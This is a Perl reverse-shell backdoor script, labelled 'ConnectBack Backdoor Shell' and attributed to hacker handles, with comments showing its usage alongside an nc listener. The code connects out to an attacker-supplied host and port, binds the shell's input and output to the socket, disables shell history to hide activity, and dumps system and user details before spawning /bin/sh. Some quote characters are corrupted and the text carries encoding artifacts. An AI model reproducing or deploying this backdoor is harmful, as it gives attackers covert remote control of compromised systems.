PHP:
#!/usr/bin/perl
use IO::Socket;
#cONNECT BACKDOOR EDITED BY XORON Â Â Â Â Â
#lord@SlackwareLinux:/home/programing$ perl dc.pl
#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
#Usage: dc.pl [Host] [Port]
#
#Ex: dc.pl 127.0.0.1 2121
#lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121
#--== ConnectBack Backdoor Shell EDITED BY XORON TURK?SH HACKER ==--
#
#[*] Resolving HostName
#[*] Connecting... 127.0.0.1
#[*] Spawning Shell
#[*] Connected to remote host
#bash-2.05b# nc -vv -l -p 2121
#listening on [any] 2121 ...
#connect to [127.0.0.1] from localhost [127.0.0.1] 32769
#--== ConnectBack Backdoor Shell EDITED BY XORON TURK?SH HACKER ==--
#
#--==Systeminfo==--
#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux
#
#--==Userinfo==--
#uid=1001(xoron) gid=100(users) groups=100(users)
#
#--==Directory==--
#/root
#
#--==Shell==--
#
$system   = -/bin/sh';
$ARGC=@ARGV;
print ---== ConnectBack Backdoor Shell EDITED BY XORON TURK?SH HACKER ==-- \n\n";
if ($ARGC!=2) {
 print "Usage: $0 [Host] [Port] \n\n";
 die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print -[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print -[-] Unable to Connect Host\n";
print -[*] Resolving HostName\n";
print -[*] Connecting... $ARGV[0] \n";
print -[*] Spawning Shell \n";
print -[*] Connected to remote host \n";
SOCKET->autoflush();
open(STDIN, ->&SOCKET");
open(STDOUT,->&SOCKET");
open(STDERR,->&SOCKET");
print ---== ConnectBack Backdoor Shell EDITED BY XORON TURK?SH HACKER ==-- Â \n\n";
system("unset HISTFILE; unset SAVEHIST;echo --==Systeminfo==--; uname -a;echo;
echo --==Userinfo==--; id;echo;echo --==Directory==--; pwd;echo; echo --==Shell==-- -);
system($system);
#EOF